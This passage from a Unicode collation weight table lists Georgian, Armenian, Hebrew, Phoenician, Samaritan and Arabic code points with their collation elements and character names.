+10D3 ; [.21BB.0020.0002] # GEORGIAN LETTER DON +2D03 ; [.21BC.0020.0002] # GEORGIAN SMALL LETTER DON +10A3 ; [.21BC.0020.0008] # GEORGIAN CAPITAL LETTER DON +10D4 ; [.21BD.0020.0002] # GEORGIAN LETTER EN +2D04 ; [.21BE.0020.0002] # GEORGIAN SMALL LETTER EN +10A4 ; [.21BE.0020.0008] # GEORGIAN CAPITAL LETTER EN +10D5 ; [.21BF.0020.0002] # GEORGIAN LETTER VIN +2D05 ; [.21C0.0020.0002] # GEORGIAN SMALL LETTER VIN +10A5 ; [.21C0.0020.0008] # GEORGIAN CAPITAL LETTER VIN +10D6 ; [.21C1.0020.0002] # GEORGIAN LETTER ZEN +2D06 ; [.21C2.0020.0002] # GEORGIAN SMALL LETTER ZEN +10A6 ; [.21C2.0020.0008] # GEORGIAN CAPITAL LETTER ZEN +10F1 ; [.21C3.0020.0002] # GEORGIAN LETTER HE +2D21 ; [.21C4.0020.0002] # GEORGIAN SMALL LETTER HE +10C1 ; [.21C4.0020.0008] # GEORGIAN CAPITAL LETTER HE +10D7 ; [.21C5.0020.0002] # GEORGIAN LETTER TAN +2D07 ; [.21C6.0020.0002] # GEORGIAN SMALL LETTER TAN +10A7 ; [.21C6.0020.0008] # GEORGIAN CAPITAL LETTER TAN +10D8 ; [.21C7.0020.0002] # GEORGIAN LETTER IN +2D08 ; [.21C8.0020.0002] # GEORGIAN SMALL LETTER IN +10A8 ; [.21C8.0020.0008] # GEORGIAN CAPITAL LETTER IN +10D9 ; [.21C9.0020.0002] # GEORGIAN LETTER KAN +2D09 ; [.21CA.0020.0002] # GEORGIAN SMALL LETTER KAN +10A9 ; [.21CA.0020.0008] # GEORGIAN CAPITAL LETTER KAN +10DA ; [.21CB.0020.0002] # GEORGIAN LETTER LAS +2D0A ; [.21CC.0020.0002] # GEORGIAN SMALL LETTER LAS +10AA ; [.21CC.0020.0008] # GEORGIAN CAPITAL LETTER LAS +10DB ; [.21CD.0020.0002] # GEORGIAN LETTER MAN +2D0B ; [.21CE.0020.0002] # GEORGIAN SMALL LETTER MAN +10AB ; [.21CE.0020.0008] # GEORGIAN CAPITAL LETTER MAN +10DC ; [.21CF.0020.0002] # GEORGIAN LETTER NAR +10FC ; [.21CF.0020.0014] # MODIFIER LETTER GEORGIAN NAR +2D0C ; [.21D0.0020.0002] # GEORGIAN SMALL LETTER NAR +10AC ; [.21D0.0020.0008] # GEORGIAN CAPITAL LETTER NAR +10F2 ; [.21D1.0020.0002] # GEORGIAN LETTER HIE +2D22 ; [.21D2.0020.0002] # GEORGIAN SMALL LETTER HIE +10C2 ; [.21D2.0020.0008] # GEORGIAN CAPITAL LETTER HIE +10DD ; [.21D3.0020.0002] # GEORGIAN LETTER ON +2D0D ; [.21D4.0020.0002] # GEORGIAN SMALL LETTER ON +10AD ; [.21D4.0020.0008] # GEORGIAN CAPITAL LETTER ON +10DE ; [.21D5.0020.0002] # GEORGIAN LETTER PAR +2D0E ; [.21D6.0020.0002] # GEORGIAN SMALL LETTER PAR +10AE ; [.21D6.0020.0008] # GEORGIAN CAPITAL LETTER PAR +10DF ; [.21D7.0020.0002] # GEORGIAN LETTER ZHAR +2D0F ; [.21D8.0020.0002] # GEORGIAN SMALL LETTER ZHAR +10AF ; [.21D8.0020.0008] # GEORGIAN CAPITAL LETTER ZHAR +10E0 ; [.21D9.0020.0002] # GEORGIAN LETTER RAE +2D10 ; [.21DA.0020.0002] # GEORGIAN SMALL LETTER RAE +10B0 ; [.21DA.0020.0008] # GEORGIAN CAPITAL LETTER RAE +10E1 ; [.21DB.0020.0002] # GEORGIAN LETTER SAN +2D11 ; [.21DC.0020.0002] # GEORGIAN SMALL LETTER SAN +10B1 ; [.21DC.0020.0008] # GEORGIAN CAPITAL LETTER SAN +10E2 ; [.21DD.0020.0002] # GEORGIAN LETTER TAR +2D12 ; [.21DE.0020.0002] # GEORGIAN SMALL LETTER TAR +10B2 ; [.21DE.0020.0008] # GEORGIAN CAPITAL LETTER TAR +10F3 ; [.21DF.0020.0002] # GEORGIAN LETTER WE +2D23 ; [.21E0.0020.0002] # GEORGIAN SMALL LETTER WE +10C3 ; [.21E0.0020.0008] # GEORGIAN CAPITAL LETTER WE +10E3 ; [.21E1.0020.0002] # GEORGIAN LETTER UN +2D13 ; [.21E2.0020.0002] # GEORGIAN SMALL LETTER UN +10B3 ; [.21E2.0020.0008] # GEORGIAN CAPITAL LETTER UN +10E4 ; [.21E3.0020.0002] # GEORGIAN LETTER PHAR +2D14 ; [.21E4.0020.0002] # GEORGIAN SMALL LETTER PHAR +10B4 ; [.21E4.0020.0008] # GEORGIAN CAPITAL LETTER PHAR +10E5 ; [.21E5.0020.0002] # GEORGIAN LETTER KHAR +2D15 ; [.21E6.0020.0002] # GEORGIAN SMALL LETTER KHAR +10B5 ; [.21E6.0020.0008] # GEORGIAN CAPITAL LETTER KHAR +10E6 ; [.21E7.0020.0002] # GEORGIAN LETTER GHAN +2D16 ; [.21E8.0020.0002] # GEORGIAN SMALL LETTER GHAN +10B6 ; [.21E8.0020.0008] # GEORGIAN CAPITAL LETTER GHAN +10E7 ; [.21E9.0020.0002] # GEORGIAN LETTER QAR +2D17 ; [.21EA.0020.0002] # GEORGIAN SMALL LETTER QAR +10B7 ; [.21EA.0020.0008] # GEORGIAN CAPITAL LETTER QAR +10E8 ; [.21EB.0020.0002] # GEORGIAN LETTER SHIN +2D18 ; [.21EC.0020.0002] # GEORGIAN SMALL LETTER SHIN +10B8 ; [.21EC.0020.0008] # GEORGIAN CAPITAL LETTER SHIN +10E9 ; [.21ED.0020.0002] # GEORGIAN LETTER CHIN +2D19 ; [.21EE.0020.0002] # GEORGIAN SMALL LETTER CHIN +10B9 ; [.21EE.0020.0008] # GEORGIAN CAPITAL LETTER CHIN +10EA ; [.21EF.0020.0002] # GEORGIAN LETTER CAN +2D1A ; [.21F0.0020.0002] # GEORGIAN SMALL LETTER CAN +10BA ; [.21F0.0020.0008] # GEORGIAN CAPITAL LETTER CAN +10EB ; [.21F1.0020.0002] # GEORGIAN LETTER JIL +2D1B ; [.21F2.0020.0002] # GEORGIAN SMALL LETTER JIL +10BB ; [.21F2.0020.0008] # GEORGIAN CAPITAL LETTER JIL +10EC ; [.21F3.0020.0002] # GEORGIAN LETTER CIL +2D1C ; [.21F4.0020.0002] # GEORGIAN SMALL LETTER CIL +10BC ; [.21F4.0020.0008] # GEORGIAN CAPITAL LETTER CIL +10ED ; [.21F5.0020.0002] # GEORGIAN LETTER CHAR +2D1D ; [.21F6.0020.0002] # GEORGIAN SMALL LETTER CHAR +10BD ; [.21F6.0020.0008] # GEORGIAN CAPITAL LETTER CHAR +10EE ; [.21F7.0020.0002] # GEORGIAN LETTER XAN +2D1E ; [.21F8.0020.0002] # GEORGIAN SMALL LETTER XAN +10BE ; [.21F8.0020.0008] # GEORGIAN CAPITAL LETTER XAN +10F4 ; [.21F9.0020.0002] # GEORGIAN LETTER HAR +2D24 ; [.21FA.0020.0002] # GEORGIAN SMALL LETTER HAR +10C4 ; [.21FA.0020.0008] # GEORGIAN CAPITAL LETTER HAR +10EF ; [.21FB.0020.0002] # GEORGIAN LETTER JHAN +2D1F ; [.21FC.0020.0002] # GEORGIAN SMALL LETTER JHAN +10BF ; [.21FC.0020.0008] # GEORGIAN CAPITAL LETTER JHAN +10F0 ; [.21FD.0020.0002] # GEORGIAN LETTER HAE +2D20 ; [.21FE.0020.0002] # GEORGIAN SMALL LETTER HAE +10C0 ; [.21FE.0020.0008] # GEORGIAN CAPITAL LETTER HAE +10F5 ; [.21FF.0020.0002] # GEORGIAN LETTER HOE +2D25 ; [.2200.0020.0002] # GEORGIAN SMALL LETTER HOE +10C5 ; [.2200.0020.0008] # GEORGIAN CAPITAL LETTER HOE +10F6 ; [.2201.0020.0002] # GEORGIAN LETTER FI +10F7 ; [.2202.0020.0002] # GEORGIAN LETTER YN +2D27 ; [.2203.0020.0002] # GEORGIAN SMALL LETTER YN +10C7 ; [.2203.0020.0008] # GEORGIAN CAPITAL LETTER YN +10F8 ; [.2204.0020.0002] # GEORGIAN LETTER ELIFI +10F9 ; [.2205.0020.0002] # GEORGIAN LETTER TURNED GAN +10FA ; [.2206.0020.0002] # GEORGIAN LETTER AIN +10FD ; [.2207.0020.0002] # GEORGIAN LETTER AEN +2D2D ; [.2208.0020.0002] # GEORGIAN SMALL LETTER AEN +10CD ; [.2208.0020.0008] # GEORGIAN CAPITAL LETTER AEN +10FE ; [.2209.0020.0002] # GEORGIAN LETTER HARD SIGN +10FF ; [.220A.0020.0002] # GEORGIAN LETTER LABIAL SIGN +0561 ; [.220B.0020.0002] # ARMENIAN SMALL LETTER AYB +0531 ; [.220B.0020.0008] # ARMENIAN CAPITAL LETTER AYB +0562 ; [.220C.0020.0002] # ARMENIAN SMALL LETTER BEN +0532 ; [.220C.0020.0008] # ARMENIAN CAPITAL LETTER BEN +0563 ; [.220D.0020.0002] # ARMENIAN SMALL LETTER GIM +0533 ; [.220D.0020.0008] # ARMENIAN CAPITAL LETTER GIM +0564 ; [.220E.0020.0002] # ARMENIAN SMALL LETTER DA +0534 ; [.220E.0020.0008] # ARMENIAN CAPITAL LETTER DA +0565 ; [.220F.0020.0002] # ARMENIAN SMALL LETTER ECH +0535 ; [.220F.0020.0008] # ARMENIAN CAPITAL LETTER ECH +0587 ; [.220F.0020.0004][.222C.0020.0004] # ARMENIAN SMALL LIGATURE ECH YIWN +0566 ; [.2210.0020.0002] # ARMENIAN SMALL LETTER ZA +0536 ; [.2210.0020.0008] # ARMENIAN CAPITAL LETTER ZA +0567 ; [.2211.0020.0002] # ARMENIAN SMALL LETTER EH +0537 ; [.2211.0020.0008] # ARMENIAN CAPITAL LETTER EH +0568 ; [.2212.0020.0002] # ARMENIAN SMALL LETTER ET +0538 ; [.2212.0020.0008] # ARMENIAN CAPITAL LETTER ET +0569 ; [.2213.0020.0002] # ARMENIAN SMALL LETTER TO +0539 ; [.2213.0020.0008] # ARMENIAN CAPITAL LETTER TO +056A ; [.2214.0020.0002] # ARMENIAN SMALL LETTER ZHE +053A ; [.2214.0020.0008] # ARMENIAN CAPITAL LETTER ZHE +056B ; [.2215.0020.0002] # ARMENIAN SMALL LETTER INI +053B ; [.2215.0020.0008] # ARMENIAN CAPITAL LETTER INI +056C ; [.2216.0020.0002] # ARMENIAN SMALL LETTER LIWN +053C ; [.2216.0020.0008] # ARMENIAN CAPITAL LETTER LIWN +056D ; [.2217.0020.0002] # ARMENIAN SMALL LETTER XEH +053D ; [.2217.0020.0008] # ARMENIAN CAPITAL LETTER XEH +056E ; [.2218.0020.0002] # ARMENIAN SMALL LETTER CA +053E ; [.2218.0020.0008] # ARMENIAN CAPITAL LETTER CA +056F ; [.2219.0020.0002] # ARMENIAN SMALL LETTER KEN +053F ; [.2219.0020.0008] # ARMENIAN CAPITAL LETTER KEN +0570 ; [.221A.0020.0002] # ARMENIAN SMALL LETTER HO +0540 ; [.221A.0020.0008] # ARMENIAN CAPITAL LETTER HO +0571 ; [.221B.0020.0002] # ARMENIAN SMALL LETTER JA +0541 ; [.221B.0020.0008] # ARMENIAN CAPITAL LETTER JA +0572 ; [.221C.0020.0002] # ARMENIAN SMALL LETTER GHAD +0542 ; [.221C.0020.0008] # ARMENIAN CAPITAL LETTER GHAD +0573 ; [.221D.0020.0002] # ARMENIAN SMALL LETTER CHEH +0543 ; [.221D.0020.0008] # ARMENIAN CAPITAL LETTER CHEH +0574 ; [.221E.0020.0002] # ARMENIAN SMALL LETTER MEN +0544 ; [.221E.0020.0008] # ARMENIAN CAPITAL LETTER MEN +FB14 ; [.221E.0020.0004][.220F.0020.0004] # ARMENIAN SMALL LIGATURE MEN ECH +FB15 ; [.221E.0020.0004][.2215.0020.0004] # ARMENIAN SMALL LIGATURE MEN INI +FB17 ; [.221E.0020.0004][.2217.0020.0004] # ARMENIAN SMALL LIGATURE MEN XEH +FB13 ; [.221E.0020.0004][.2220.0020.0004] # ARMENIAN SMALL LIGATURE MEN NOW +0575 ; [.221F.0020.0002] # ARMENIAN SMALL LETTER YI +0545 ; [.221F.0020.0008] # ARMENIAN CAPITAL LETTER YI +0576 ; [.2220.0020.0002] # ARMENIAN SMALL LETTER NOW +0546 ; [.2220.0020.0008] # ARMENIAN CAPITAL LETTER NOW +0577 ; [.2221.0020.0002] # ARMENIAN SMALL LETTER SHA +0547 ; [.2221.0020.0008] # ARMENIAN CAPITAL LETTER SHA +0578 ; [.2222.0020.0002] # ARMENIAN SMALL LETTER VO +0548 ; [.2222.0020.0008] # ARMENIAN CAPITAL LETTER VO +0579 ; [.2223.0020.0002] # ARMENIAN SMALL LETTER CHA +0549 ; [.2223.0020.0008] # ARMENIAN CAPITAL LETTER CHA +057A ; [.2224.0020.0002] # ARMENIAN SMALL LETTER PEH +054A ; [.2224.0020.0008] # ARMENIAN CAPITAL LETTER PEH +057B ; [.2225.0020.0002] # ARMENIAN SMALL LETTER JHEH +054B ; [.2225.0020.0008] # ARMENIAN CAPITAL LETTER JHEH +057C ; [.2226.0020.0002] # ARMENIAN SMALL LETTER RA +054C ; [.2226.0020.0008] # ARMENIAN CAPITAL LETTER RA +057D ; [.2227.0020.0002] # ARMENIAN SMALL LETTER SEH +054D ; [.2227.0020.0008] # ARMENIAN CAPITAL LETTER SEH +057E ; [.2228.0020.0002] # ARMENIAN SMALL LETTER VEW +054E ; [.2228.0020.0008] # ARMENIAN CAPITAL LETTER VEW +FB16 ; [.2228.0020.0004][.2220.0020.0004] # ARMENIAN SMALL LIGATURE VEW NOW +057F ; [.2229.0020.0002] # ARMENIAN SMALL LETTER TIWN +054F ; [.2229.0020.0008] # ARMENIAN CAPITAL LETTER TIWN +0580 ; [.222A.0020.0002] # ARMENIAN SMALL LETTER REH +0550 ; [.222A.0020.0008] # ARMENIAN CAPITAL LETTER REH +0581 ; [.222B.0020.0002] # ARMENIAN SMALL LETTER CO +0551 ; [.222B.0020.0008] # ARMENIAN CAPITAL LETTER CO +0582 ; [.222C.0020.0002] # ARMENIAN SMALL LETTER YIWN +0552 ; [.222C.0020.0008] # ARMENIAN CAPITAL LETTER YIWN +0583 ; [.222D.0020.0002] # ARMENIAN SMALL LETTER PIWR +0553 ; [.222D.0020.0008] # ARMENIAN CAPITAL LETTER PIWR +0584 ; [.222E.0020.0002] # ARMENIAN SMALL LETTER KEH +0554 ; [.222E.0020.0008] # ARMENIAN CAPITAL LETTER KEH +0585 ; [.222F.0020.0002] # ARMENIAN SMALL LETTER OH +0555 ; [.222F.0020.0008] # ARMENIAN CAPITAL LETTER OH +0586 ; [.2230.0020.0002] # ARMENIAN SMALL LETTER FEH +0556 ; [.2230.0020.0008] # ARMENIAN CAPITAL LETTER FEH +0559 ; [.2231.0020.0002] # ARMENIAN MODIFIER LETTER LEFT HALF RING +05D0 ; [.2232.0020.0002] # HEBREW LETTER ALEF +2135 ; [.2232.0020.0004] # ALEF SYMBOL +FB21 ; [.2232.0020.0005] # HEBREW LETTER WIDE ALEF +FB2E ; [.2232.0020.0002][.0000.0059.0002] # HEBREW LETTER ALEF WITH PATAH +FB2F ; [.2232.0020.0002][.0000.005A.0002] # HEBREW LETTER ALEF WITH QAMATS +FB30 ; [.2232.0020.0002][.0000.005F.0002] # HEBREW LETTER ALEF WITH MAPIQ +FB4F ; [.2232.0020.0004][.223D.0020.0004] # HEBREW LIGATURE ALEF LAMED +05D1 ; [.2233.0020.0002] # HEBREW LETTER BET +2136 ; [.2233.0020.0004] # BET SYMBOL +FB31 ; [.2233.0020.0002][.0000.005F.0002] # HEBREW LETTER BET WITH DAGESH +FB4C ; [.2233.0020.0002][.0000.0060.0002] # HEBREW LETTER BET WITH RAFE +05D2 ; [.2234.0020.0002] # HEBREW LETTER GIMEL +2137 ; [.2234.0020.0004] # GIMEL SYMBOL +FB32 ; [.2234.0020.0002][.0000.005F.0002] # HEBREW LETTER GIMEL WITH DAGESH +05D3 ; [.2235.0020.0002] # HEBREW LETTER DALET +2138 ; [.2235.0020.0004] # DALET SYMBOL +FB22 ; [.2235.0020.0005] # HEBREW LETTER WIDE DALET +FB33 ; [.2235.0020.0002][.0000.005F.0002] # HEBREW LETTER DALET WITH DAGESH +05D4 ; [.2236.0020.0002] # HEBREW LETTER HE +FB23 ; [.2236.0020.0005] # HEBREW LETTER WIDE HE +FB34 ; [.2236.0020.0002][.0000.005F.0002] # HEBREW LETTER HE WITH MAPIQ +05D5 ; [.2237.0020.0002] # HEBREW LETTER VAV +FB4B ; [.2237.0020.0002][.0000.005B.0002] # HEBREW LETTER VAV WITH HOLAM +FB35 ; [.2237.0020.0002][.0000.005F.0002] # HEBREW LETTER VAV WITH DAGESH +05F0 ; [.2237.0020.0004][.2237.0020.0004] # HEBREW LIGATURE YIDDISH DOUBLE VAV +05F1 ; [.2237.0020.0004][.223B.0020.0004] # HEBREW LIGATURE YIDDISH VAV YOD +05D6 ; [.2238.0020.0002] # HEBREW LETTER ZAYIN +FB36 ; [.2238.0020.0002][.0000.005F.0002] # HEBREW LETTER ZAYIN WITH DAGESH +05D7 ; [.2239.0020.0002] # HEBREW LETTER HET +05D8 ; [.223A.0020.0002] # HEBREW LETTER TET +FB38 ; [.223A.0020.0002][.0000.005F.0002] # HEBREW LETTER TET WITH DAGESH +05D9 ; [.223B.0020.0002] # HEBREW LETTER YOD +FB1D ; [.223B.0020.0002][.0000.0056.0002] # HEBREW LETTER YOD WITH HIRIQ +FB39 ; [.223B.0020.0002][.0000.005F.0002] # HEBREW LETTER YOD WITH DAGESH +05F2 ; [.223B.0020.0004][.223B.0020.0004] # HEBREW LIGATURE YIDDISH DOUBLE YOD +FB1F ; [.223B.0020.0004][.223B.0020.0004][.0000.0059.0002] # HEBREW LIGATURE YIDDISH YOD YOD PATAH +05DB ; [.223C.0020.0002] # HEBREW LETTER KAF +FB24 ; [.223C.0020.0005] # HEBREW LETTER WIDE KAF +05DA ; [.223C.0020.0019] # HEBREW LETTER FINAL KAF +FB3B ; [.223C.0020.0002][.0000.005F.0002] # HEBREW LETTER KAF WITH DAGESH +FB3A ; [.223C.0020.0019][.0000.005F.0002] # HEBREW LETTER FINAL KAF WITH DAGESH +FB4D ; [.223C.0020.0002][.0000.0060.0002] # HEBREW LETTER KAF WITH RAFE +05DC ; [.223D.0020.0002] # HEBREW LETTER LAMED +FB25 ; [.223D.0020.0005] # HEBREW LETTER WIDE LAMED +FB3C ; [.223D.0020.0002][.0000.005F.0002] # HEBREW LETTER LAMED WITH DAGESH +05DE ; [.223E.0020.0002] # HEBREW LETTER MEM +FB26 ; [.223E.0020.0005] # HEBREW LETTER WIDE FINAL MEM +05DD ; [.223E.0020.0019] # HEBREW LETTER FINAL MEM +FB3E ; [.223E.0020.0002][.0000.005F.0002] # HEBREW LETTER MEM WITH DAGESH +05E0 ; [.223F.0020.0002] # HEBREW LETTER NUN +05DF ; [.223F.0020.0019] # HEBREW LETTER FINAL NUN +FB40 ; [.223F.0020.0002][.0000.005F.0002] # HEBREW LETTER NUN WITH DAGESH +05E1 ; [.2240.0020.0002] # HEBREW LETTER SAMEKH +FB41 ; [.2240.0020.0002][.0000.005F.0002] # HEBREW LETTER SAMEKH WITH DAGESH +05E2 ; [.2241.0020.0002] # HEBREW LETTER AYIN +FB20 ; [.2241.0020.0005] # HEBREW LETTER ALTERNATIVE AYIN +05E4 ; [.2242.0020.0002] # HEBREW LETTER PE +05E3 ; [.2242.0020.0019] # HEBREW LETTER FINAL PE +FB44 ; [.2242.0020.0002][.0000.005F.0002] # HEBREW LETTER PE WITH DAGESH +FB43 ; [.2242.0020.0019][.0000.005F.0002] # HEBREW LETTER FINAL PE WITH DAGESH +FB4E ; [.2242.0020.0002][.0000.0060.0002] # HEBREW LETTER PE WITH RAFE +05E6 ; [.2243.0020.0002] # HEBREW LETTER TSADI +05E5 ; [.2243.0020.0019] # HEBREW LETTER FINAL TSADI +FB46 ; [.2243.0020.0002][.0000.005F.0002] # HEBREW LETTER TSADI WITH DAGESH +05E7 ; [.2244.0020.0002] # HEBREW LETTER QOF +FB47 ; [.2244.0020.0002][.0000.005F.0002] # HEBREW LETTER QOF WITH DAGESH +05E8 ; [.2245.0020.0002] # HEBREW LETTER RESH +FB27 ; [.2245.0020.0005] # HEBREW LETTER WIDE RESH +FB48 ; [.2245.0020.0002][.0000.005F.0002] # HEBREW LETTER RESH WITH DAGESH +05E9 ; [.2246.0020.0002] # HEBREW LETTER SHIN +FB2B ; [.2246.0020.0002][.0000.005D.0002] # HEBREW LETTER SHIN WITH SIN DOT +FB2A ; [.2246.0020.0002][.0000.005E.0002] # HEBREW LETTER SHIN WITH SHIN DOT +FB49 ; [.2246.0020.0002][.0000.005F.0002] # HEBREW LETTER SHIN WITH DAGESH +FB2D ; [.2246.0020.0002][.0000.005F.0002][.0000.005D.0002] # HEBREW LETTER SHIN WITH DAGESH AND SIN DOT +FB2C ; [.2246.0020.0002][.0000.005F.0002][.0000.005E.0002] # HEBREW LETTER SHIN WITH DAGESH AND SHIN DOT +05EA ; [.2247.0020.0002] # HEBREW LETTER TAV +FB28 ; [.2247.0020.0005] # HEBREW LETTER WIDE TAV +FB4A ; [.2247.0020.0002][.0000.005F.0002] # HEBREW LETTER TAV WITH DAGESH +10900 ; [.2248.0020.0002] # PHOENICIAN LETTER ALF +10901 ; [.2249.0020.0002] # PHOENICIAN LETTER BET +10902 ; [.224A.0020.0002] # PHOENICIAN LETTER GAML +10903 ; [.224B.0020.0002] # PHOENICIAN LETTER DELT +10904 ; [.224C.0020.0002] # PHOENICIAN LETTER HE +10905 ; [.224D.0020.0002] # PHOENICIAN LETTER WAU +10906 ; [.224E.0020.0002] # PHOENICIAN LETTER ZAI +10907 ; [.224F.0020.0002] # PHOENICIAN LETTER HET +10908 ; [.2250.0020.0002] # PHOENICIAN LETTER TET +10909 ; [.2251.0020.0002] # PHOENICIAN LETTER YOD +1090A ; [.2252.0020.0002] # PHOENICIAN LETTER KAF +1090B ; [.2253.0020.0002] # PHOENICIAN LETTER LAMD +1090C ; [.2254.0020.0002] # PHOENICIAN LETTER MEM +1090D ; [.2255.0020.0002] # PHOENICIAN LETTER NUN +1090E ; [.2256.0020.0002] # PHOENICIAN LETTER SEMK +1090F ; [.2257.0020.0002] # PHOENICIAN LETTER AIN +10910 ; [.2258.0020.0002] # PHOENICIAN LETTER PE +10911 ; [.2259.0020.0002] # PHOENICIAN LETTER SADE +10912 ; [.225A.0020.0002] # PHOENICIAN LETTER QOF +10913 ; [.225B.0020.0002] # PHOENICIAN LETTER ROSH +10914 ; [.225C.0020.0002] # PHOENICIAN LETTER SHIN +10915 ; [.225D.0020.0002] # PHOENICIAN LETTER TAU +0800 ; [.225E.0020.0002] # SAMARITAN LETTER ALAF +0801 ; [.225F.0020.0002] # SAMARITAN LETTER BIT +0802 ; [.2260.0020.0002] # SAMARITAN LETTER GAMAN +0803 ; [.2261.0020.0002] # SAMARITAN LETTER DALAT +0804 ; [.2262.0020.0002] # SAMARITAN LETTER IY +0805 ; [.2263.0020.0002] # SAMARITAN LETTER BAA +0806 ; [.2264.0020.0002] # SAMARITAN LETTER ZEN +0807 ; [.2265.0020.0002] # SAMARITAN LETTER IT +0808 ; [.2266.0020.0002] # SAMARITAN LETTER TIT +0809 ; [.2267.0020.0002] # SAMARITAN LETTER YUT +080A ; [.2268.0020.0002] # SAMARITAN LETTER KAAF +080B ; [.2269.0020.0002] # SAMARITAN LETTER LABAT +080C ; [.226A.0020.0002] # SAMARITAN LETTER MIM +080D ; [.226B.0020.0002] # SAMARITAN LETTER NUN +080E ; [.226C.0020.0002] # SAMARITAN LETTER SINGAAT +080F ; [.226D.0020.0002] # SAMARITAN LETTER IN +0810 ; [.226E.0020.0002] # SAMARITAN LETTER FI +0811 ; [.226F.0020.0002] # SAMARITAN LETTER TSAADIY +0812 ; [.2270.0020.0002] # SAMARITAN LETTER QUF +0813 ; [.2271.0020.0002] # SAMARITAN LETTER RISH +0814 ; [.2272.0020.0002] # SAMARITAN LETTER SHAN +0815 ; [.2273.0020.0002] # SAMARITAN LETTER TAAF +0816 ; [.2274.0020.0002] # SAMARITAN MARK IN +0817 ; [.2275.0020.0002] # SAMARITAN MARK IN-ALAF +081A ; [.2276.0020.0002] # SAMARITAN MODIFIER LETTER EPENTHETIC YUT +081B ; [.2277.0020.0002] # SAMARITAN MARK EPENTHETIC YUT +0621 ; [.2278.0020.0002] # ARABIC LETTER HAMZA +0674 ; [.2278.0020.0004] # ARABIC LETTER HIGH HAMZA +FE80 ; [.2278.0020.001A] # ARABIC LETTER HAMZA ISOLATED FORM +06FD ; [.2278.0020.0004][.0000.010C.0004] # ARABIC SIGN SINDHI AMPERSAND +0622 ; [.2279.0020.0002] # ARABIC LETTER ALEF WITH MADDA ABOVE +0627 0653 ; [.2279.0020.0002] # ARABIC LETTER ALEF WITH MADDA ABOVE +FE82 ; [.2279.0020.0019] # ARABIC LETTER ALEF WITH MADDA ABOVE FINAL FORM +FE81 ; [.2279.0020.001A] # ARABIC LETTER ALEF WITH MADDA ABOVE ISOLATED FORM +0623 ; [.227A.0020.0002] # ARABIC LETTER ALEF WITH HAMZA ABOVE +0627 0654 ; [.227A.0020.0002] # ARABIC LETTER ALEF WITH HAMZA ABOVE +FE84 ; [.227A.0020.0019] # ARABIC LETTER ALEF WITH HAMZA ABOVE FINAL FORM +FE83 ; [.227A.0020.001A] # ARABIC LETTER ALEF WITH HAMZA ABOVE ISOLATED FORM +0672 ; [.227B.0020.0002] # ARABIC LETTER ALEF WITH WAVY HAMZA ABOVE +0671 ; [.227C.0020.0002] # ARABIC LETTER ALEF WASLA +FB51 ; [.227C.0020.0019] # ARABIC LETTER ALEF WASLA FINAL FORM +FB50 ; [.227C.0020.001A] # ARABIC LETTER ALEF WASLA ISOLATED FORM +0624 ; [.227D.0020.0002] # ARABIC LETTER WAW WITH HAMZA ABOVE +0648 0654 ; [.227D.0020.0002] # ARABIC LETTER WAW WITH HAMZA ABOVE +FE86 ; [.227D.0020.0019] # ARABIC LETTER WAW WITH HAMZA ABOVE FINAL FORM +FE85 ; [.227D.0020.001A] # ARABIC LETTER WAW WITH HAMZA ABOVE ISOLATED FORM +0625 ; [.227E.0020.0002] # ARABIC LETTER ALEF WITH HAMZA BELOW +0627 0655 ; [.227E.0020.0002] # ARABIC LETTER ALEF WITH HAMZA BELOW +FE88 ; [.227E.0020.0019] # ARABIC LETTER ALEF WITH HAMZA BELOW FINAL FORM +FE87 ; [.227E.0020.001A] # ARABIC LETTER ALEF WITH HAMZA BELOW ISOLATED FORM +0673 ; [.227F.0020.0002] # ARABIC LETTER ALEF WITH WAVY HAMZA BELOW +0773 ; [.2280.0020.0002] # ARABIC LETTER ALEF WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE +0774 ; [.2281.0020.0002] # ARABIC LETTER ALEF WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE +0626 ; [.2282.0020.0002] # ARABIC LETTER YEH WITH HAMZA ABOVE +064A 0654 ; [.2282.0020.0002] # ARABIC LETTER YEH WITH HAMZA ABOVE +FE8B ; [.2282.0020.0017] # ARABIC LETTER YEH WITH HAMZA ABOVE INITIAL FORM +FE8C ; [.2282.0020.0018] # ARABIC LETTER YEH WITH HAMZA ABOVE MEDIAL FORM +FE8A ; [.2282.0020.0019] # ARABIC LETTER YEH WITH HAMZA ABOVE FINAL FORM +FE89 ; [.2282.0020.001A] # ARABIC LETTER YEH WITH HAMZA ABOVE ISOLATED FORM +FBEB ; [.2282.0020.0019][.2286.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF FINAL FORM +FBEA ; [.2282.0020.001A][.2286.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF ISOLATED FORM +FC97 ; [.2282.0020.0017][.229D.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH JEEM INITIAL FORM +FC00 ; [.2282.0020.001A][.229D.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH JEEM ISOLATED FORM +FC98 ; [.2282.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HAH INITIAL FORM +FC01 ; [.2282.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HAH ISOLATED FORM +FC99 ; [.2282.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH KHAH INITIAL FORM +FC64 ; [.2282.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH REH FINAL FORM +FC65 ; [.2282.0020.0019][.22BF.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ZAIN FINAL FORM +FC9A ; [.2282.0020.0017][.2318.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM INITIAL FORM +FCDF ; [.2282.0020.0018][.2318.0020.0018] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM MEDIAL FORM +FC66 ; [.2282.0020.0019][.2318.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM FINAL FORM +FC02 ; [.2282.0020.001A][.2318.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM ISOLATED FORM +FC67 ; [.2282.0020.0019][.231C.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH NOON FINAL FORM +FC9B ; [.2282.0020.0017][.2325.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HEH INITIAL FORM +FCE0 ; [.2282.0020.0018][.2325.0020.0018] # 